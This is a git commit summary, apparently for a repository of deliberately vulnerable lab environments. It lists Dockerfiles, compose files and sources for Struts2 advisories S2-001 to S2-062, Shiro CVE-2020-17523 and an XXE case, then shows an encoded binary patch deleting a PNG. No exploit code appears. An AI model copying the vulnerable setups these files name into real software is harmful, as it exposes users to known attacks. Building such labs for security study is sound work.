python_scripts/requirements.txt delete mode 100644 run-local-service.sh create mode 100644 shior-1.2.4/docker-compose.yaml create mode 100644 shiro-1.25_1.42/docker-compose.yaml delete mode 100644 shiro-1.25_1.42/src/main/java/com/myapp/support/RememberMeOracleService.java create mode 100644 shiro-1.25_1.42/src/main/resources/shiro.ini create mode 100644 shiro-1.8.0/docker-compose.yaml create mode 100644 shiro-1.8.0/src/main/java/com/myapp/support/ShiroWeakKeySupport.java create mode 100644 shiro-cve-2020-17523/Dockerfile create mode 100644 shiro-cve-2020-17523/Dockerfile_local create mode 100644 shiro-cve-2020-17523/docker-compose.yaml rename {microservice-g-service => shiro-cve-2020-17523}/pom.xml (58%) create mode 100644 shiro-cve-2020-17523/src/main/java/com/myapp/MyApplication.java create mode 100644 shiro-cve-2020-17523/src/main/java/com/myapp/config/ShiroConfig.java create mode 100644 shiro-cve-2020-17523/src/main/java/com/myapp/config/WebMvcConfig.java create mode 100644 shiro-cve-2020-17523/src/main/java/com/myapp/controller/ShiroCve202017523Controller.java create mode 100644 shiro-cve-2020-17523/src/main/resources/application.properties create mode 100644 struts2-s2-001/Dockerfile create mode 100644 struts2-s2-001/Dockerfile_local create mode 100644 struts2-s2-001/docker-compose.yaml create mode 100644 struts2-s2-001/pom.xml create mode 100644 struts2-s2-001/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-001/src/main/java/com/myapp/action/LoginAction.java create mode 100644 struts2-s2-001/src/main/resources/log4j.properties create mode 100644 struts2-s2-001/src/main/resources/struts.xml create mode 100644 struts2-s2-001/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-001/src/main/webapp/WEB-INF/content/login.jsp create mode 100644 struts2-s2-001/src/main/webapp/WEB-INF/content/success.jsp create mode 100644 struts2-s2-001/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-001/src/main/webapp/index.jsp create mode 100644 struts2-s2-003/Dockerfile create mode 100644 struts2-s2-003/Dockerfile_local create mode 100644 struts2-s2-003/docker-compose.yaml create mode 100644 struts2-s2-003/pom.xml create mode 100644 struts2-s2-003/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-003/src/main/java/com/myapp/action/ResetAction.java create mode 100644 struts2-s2-003/src/main/resources/log4j.properties create mode 100644 struts2-s2-003/src/main/resources/struts.xml create mode 100644 struts2-s2-003/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-003/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-003/src/main/webapp/index.jsp create mode 100644 struts2-s2-005/Dockerfile create mode 100644 struts2-s2-005/Dockerfile_local create mode 100644 struts2-s2-005/docker-compose.yaml create mode 100644 struts2-s2-005/pom.xml create mode 100644 struts2-s2-005/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-005/src/main/java/com/myapp/action/ResetAction.java create mode 100644 struts2-s2-005/src/main/resources/log4j.properties create mode 100644 struts2-s2-005/src/main/resources/struts.xml create mode 100644 struts2-s2-005/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-005/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-005/src/main/webapp/index.jsp create mode 100644 struts2-s2-007/Dockerfile create mode 100644 struts2-s2-007/Dockerfile_local create mode 100644 struts2-s2-007/docker-compose.yaml create mode 100644 struts2-s2-007/pom.xml create mode 100644 struts2-s2-007/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-007/src/main/java/com/myapp/action/UserAction.java create mode 100644 struts2-s2-007/src/main/resources/com/myapp/action/UserAction-validation.xml create mode 100644 struts2-s2-007/src/main/resources/log4j.properties create mode 100644 struts2-s2-007/src/main/resources/struts.xml create mode 100644 struts2-s2-007/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-007/src/main/webapp/WEB-INF/content/login.jsp create mode 100644 struts2-s2-007/src/main/webapp/WEB-INF/content/success.jsp create mode 100644 struts2-s2-007/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-007/src/main/webapp/index.jsp create mode 100644 struts2-s2-009/Dockerfile create mode 100644 struts2-s2-009/Dockerfile_local create mode 100644 struts2-s2-009/docker-compose.yaml create mode 100644 struts2-s2-009/pom.xml create mode 100644 struts2-s2-009/src/main/java/com/myapp/action/Example5Action.java create mode 100644 struts2-s2-009/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-009/src/main/resources/log4j.properties create mode 100644 struts2-s2-009/src/main/resources/struts.xml create mode 100644 struts2-s2-009/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-009/src/main/webapp/WEB-INF/content/login.jsp create mode 100644 struts2-s2-009/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-009/src/main/webapp/index.jsp create mode 100644 struts2-s2-012/Dockerfile create mode 100644 struts2-s2-012/Dockerfile_local create mode 100644 struts2-s2-012/docker-compose.yaml create mode 100644 struts2-s2-012/pom.xml create mode 100644 struts2-s2-012/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-012/src/main/java/com/myapp/action/UserAction.java create mode 100644 struts2-s2-012/src/main/resources/log4j.properties create mode 100644 struts2-s2-012/src/main/resources/struts.xml create mode 100644 struts2-s2-012/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-012/src/main/webapp/WEB-INF/content/success.jsp create mode 100644 struts2-s2-012/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-012/src/main/webapp/index.jsp create mode 100644 struts2-s2-013/Dockerfile create mode 100644 struts2-s2-013/Dockerfile_local create mode 100644 struts2-s2-013/docker-compose.yaml create mode 100644 struts2-s2-013/pom.xml create mode 100644 struts2-s2-013/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-013/src/main/java/com/myapp/action/LinkAction.java create mode 100644 struts2-s2-013/src/main/resources/log4j.properties create mode 100644 struts2-s2-013/src/main/resources/struts.xml create mode 100644 struts2-s2-013/src/main/webapp/WEB-INF/content/login.jsp create mode 100644 struts2-s2-013/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-013/src/main/webapp/index.jsp create mode 100644 struts2-s2-015/Dockerfile create mode 100644 struts2-s2-015/Dockerfile_local create mode 100644 struts2-s2-015/docker-compose.yaml create mode 100644 struts2-s2-015/pom.xml create mode 100644 struts2-s2-015/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-015/src/main/java/com/myapp/action/PageAction.java create mode 100644 struts2-s2-015/src/main/java/com/myapp/action/ParamAction.java create mode 100644 struts2-s2-015/src/main/resources/log4j.properties create mode 100644 struts2-s2-015/src/main/resources/struts.xml create mode 100644 struts2-s2-015/src/main/webapp/WEB-INF/content/help.jsp create mode 100644 struts2-s2-015/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-015/src/main/webapp/WEB-INF/content/success.jsp create mode 100644 struts2-s2-015/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-015/src/main/webapp/index.jsp create mode 100644 struts2-s2-016/Dockerfile create mode 100644 struts2-s2-016/Dockerfile_local create mode 100644 struts2-s2-016/docker-compose.yaml create mode 100644 struts2-s2-016/pom.xml create mode 100644 struts2-s2-016/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-016/src/main/resources/log4j.properties create mode 100644 struts2-s2-016/src/main/resources/struts.xml create mode 100644 struts2-s2-016/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-016/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-016/src/main/webapp/index.jsp create mode 100644 struts2-s2-019/Dockerfile create mode 100644 struts2-s2-019/Dockerfile_local create mode 100644 struts2-s2-019/docker-compose.yaml create mode 100644 struts2-s2-019/pom.xml create mode 100644 struts2-s2-019/src/main/java/com/myapp/action/HelloWorldAction.java create mode 100644 struts2-s2-019/src/main/resources/log4j.properties create mode 100644 struts2-s2-019/src/main/resources/struts.xml create mode 100644 struts2-s2-019/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-019/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-019/src/main/webapp/index.jsp create mode 100644 struts2-s2-032/Dockerfile create mode 100644 struts2-s2-032/Dockerfile_local create mode 100644 struts2-s2-032/docker-compose.yaml create mode 100644 struts2-s2-032/pom.xml create mode 100644 struts2-s2-032/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-032/src/main/resources/log4j.properties create mode 100644 struts2-s2-032/src/main/resources/struts.xml create mode 100644 struts2-s2-032/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-032/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-032/src/main/webapp/index.jsp create mode 100644 struts2-s2-045/Dockerfile create mode 100644 struts2-s2-045/Dockerfile_local create mode 100644 struts2-s2-045/docker-compose.yaml create mode 100644 struts2-s2-045/pom.xml create mode 100644 struts2-s2-045/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-045/src/main/java/com/myapp/action/UploadAction.java create mode 100644 struts2-s2-045/src/main/resources/log4j.properties create mode 100644 struts2-s2-045/src/main/resources/struts.xml create mode 100644 struts2-s2-045/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-045/src/main/webapp/WEB-INF/content/result.jsp create mode 100644 struts2-s2-045/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-045/src/main/webapp/index.jsp create mode 100644 struts2-s2-046/Dockerfile create mode 100644 struts2-s2-046/Dockerfile_local create mode 100644 struts2-s2-046/docker-compose.yaml create mode 100644 struts2-s2-046/pom.xml create mode 100644 struts2-s2-046/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-046/src/main/java/com/myapp/action/UploadAction.java create mode 100644 struts2-s2-046/src/main/resources/log4j.properties create mode 100644 struts2-s2-046/src/main/resources/struts.xml create mode 100644 struts2-s2-046/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-046/src/main/webapp/WEB-INF/content/result.jsp create mode 100644 struts2-s2-046/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-046/src/main/webapp/index.jsp create mode 100644 struts2-s2-048/Dockerfile create mode 100644 struts2-s2-048/Dockerfile_local create mode 100644 struts2-s2-048/docker-compose.yaml create mode 100644 struts2-s2-048/pom.xml create mode 100644 struts2-s2-048/src/main/java/com/myapp/action/GangsterAction.java create mode 100644 struts2-s2-048/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-048/src/main/resources/log4j.properties create mode 100644 struts2-s2-048/src/main/resources/struts.xml create mode 100644 struts2-s2-048/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-048/src/main/webapp/WEB-INF/content/result.jsp create mode 100644 struts2-s2-048/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-048/src/main/webapp/index.jsp create mode 100644 struts2-s2-052/Dockerfile create mode 100644 struts2-s2-052/Dockerfile_local create mode 100644 struts2-s2-052/docker-compose.yaml create mode 100644 struts2-s2-052/pom.xml create mode 100644 struts2-s2-052/src/main/java/com/myapp/action/OrdersController.java create mode 100644 struts2-s2-052/src/main/resources/log4j.properties create mode 100644 struts2-s2-052/src/main/resources/struts.xml create mode 100644 struts2-s2-052/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-052/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-052/src/main/webapp/index.jsp create mode 100644 struts2-s2-053/Dockerfile create mode 100644 struts2-s2-053/Dockerfile_local create mode 100644 struts2-s2-053/docker-compose.yaml create mode 100644 struts2-s2-053/pom.xml create mode 100644 struts2-s2-053/src/main/java/com/myapp/action/HelloAction.java create mode 100644 struts2-s2-053/src/main/resources/log4j.properties create mode 100644 struts2-s2-053/src/main/resources/struts.xml create mode 100644 struts2-s2-053/src/main/webapp/WEB-INF/content/hello.ftl create mode 100644 struts2-s2-053/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-053/src/main/webapp/index.jsp create mode 100644 struts2-s2-057/Dockerfile create mode 100644 struts2-s2-057/Dockerfile_local create mode 100644 struts2-s2-057/docker-compose.yaml create mode 100644 struts2-s2-057/pom.xml create mode 100644 struts2-s2-057/src/main/java/com/myapp/action/ChainAction.java create mode 100644 struts2-s2-057/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-057/src/main/resources/log4j.properties create mode 100644 struts2-s2-057/src/main/resources/struts.xml create mode 100644 struts2-s2-057/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-057/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-057/src/main/webapp/index.jsp create mode 100644 struts2-s2-059/Dockerfile create mode 100644 struts2-s2-059/Dockerfile_local create mode 100644 struts2-s2-059/docker-compose.yaml create mode 100644 struts2-s2-059/pom.xml create mode 100644 struts2-s2-059/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-059/src/main/resources/log4j.properties create mode 100644 struts2-s2-059/src/main/resources/struts.xml create mode 100644 struts2-s2-059/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-059/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-059/src/main/webapp/index.jsp create mode 100644 struts2-s2-061/Dockerfile create mode 100644 struts2-s2-061/Dockerfile_local create mode 100644 struts2-s2-061/docker-compose.yaml create mode 100644 struts2-s2-061/pom.xml create mode 100644 struts2-s2-061/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-061/src/main/resources/log4j.properties create mode 100644 struts2-s2-061/src/main/resources/struts.xml create mode 100644 struts2-s2-061/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-061/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-061/src/main/webapp/index.jsp create mode 100644 struts2-s2-062/Dockerfile create mode 100644 struts2-s2-062/Dockerfile_local create mode 100644 struts2-s2-062/docker-compose.yaml create mode 100644 struts2-s2-062/pom.xml create mode 100644 struts2-s2-062/src/main/java/com/myapp/action/IndexAction.java create mode 100644 struts2-s2-062/src/main/resources/log4j.properties create mode 100644 struts2-s2-062/src/main/resources/struts.xml create mode 100644 struts2-s2-062/src/main/webapp/WEB-INF/content/index.jsp create mode 100644 struts2-s2-062/src/main/webapp/WEB-INF/web.xml create mode 100644 struts2-s2-062/src/main/webapp/index.jsp create mode 100644 wxpay-xxe/docker-compose.yaml diff --git a/.gitbook/assets/image-20240127215349622.png b/.gitbook/assets/image-20240127215349622.png deleted file mode 100644 index 4249fbf611938c321c2aa069aa95d928243addaf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 20521 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 